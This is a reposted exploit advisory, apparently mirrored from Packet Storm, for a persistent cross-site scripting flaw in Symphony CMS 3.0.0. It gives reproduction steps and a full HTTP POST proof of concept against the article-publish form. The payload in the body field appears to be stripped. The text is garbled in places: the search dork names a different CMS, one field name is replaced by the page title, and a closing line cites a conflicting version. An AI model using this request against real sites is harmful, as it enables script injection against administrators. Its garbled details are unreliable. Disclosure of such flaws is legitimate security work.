Symphony CMS 3.0.0 Cross Site Scripting ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on August 28th, 2020 📆 | 2311 Views ⚑

0

Symphony CMS 3.0.0 Cross Site Scripting ≈ Packet Storm

# Exploit Title: SymphonyCMS 3.0.0 – Persistent Cross-Site Scripting
# Google Dork: “lepton cms”
# Date: 2020-08-28
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.getsymphony.com/
# Software Link: https://www.getsymphony.com/
# Version: 3.0.0
# Tested on: Windows
# CVE : N/A

Description:
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML

To Reproduce:
Steps to reproduce the behavior:

1. Login as member
2. Go to ‘Articles’
3. Submit malicious content
4. Anyone (inclued admin) view article and XSS excuted

Expected behavior
When admin or user view content, a pop-up will be displayed

Affected componets:
eventsevent.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields[‘body’] to appendSubheading

POC:

POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target/symphonycms/symphony/publish/articles/new/
Content-Type: multipart/form-data; boundary=—————————17679481844164416353626544932
Content-Length: 1111
Origin: http://target
Connection: close
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
Upgrade-Insecure-Requests: 1

—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”xsrf”

vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”MAX_FILE_SIZE”

5242880
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”fieldsSymphony CMS 3.0.0 Cross Site Scripting ≈ Packet Storm”

TEST XSS
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”fields[body]”


—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”fields[date]”

08/28/2020 5:55 am
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”fields[categories][]”

2
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”fields[publish]”

yes
—————————–17679481844164416353626544932
Content-Disposition: form-data; name=”action[save]”

Create Entry
—————————–17679481844164416353626544932–

Desktop (please complete the following information):
OS: Windows 10
Browser: Firefox or Chrome
Application: XAMPP, Burpsuite

Additional context
Tested on: 9.03.50 verison
POC at: https://vimeo.com/405740251

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...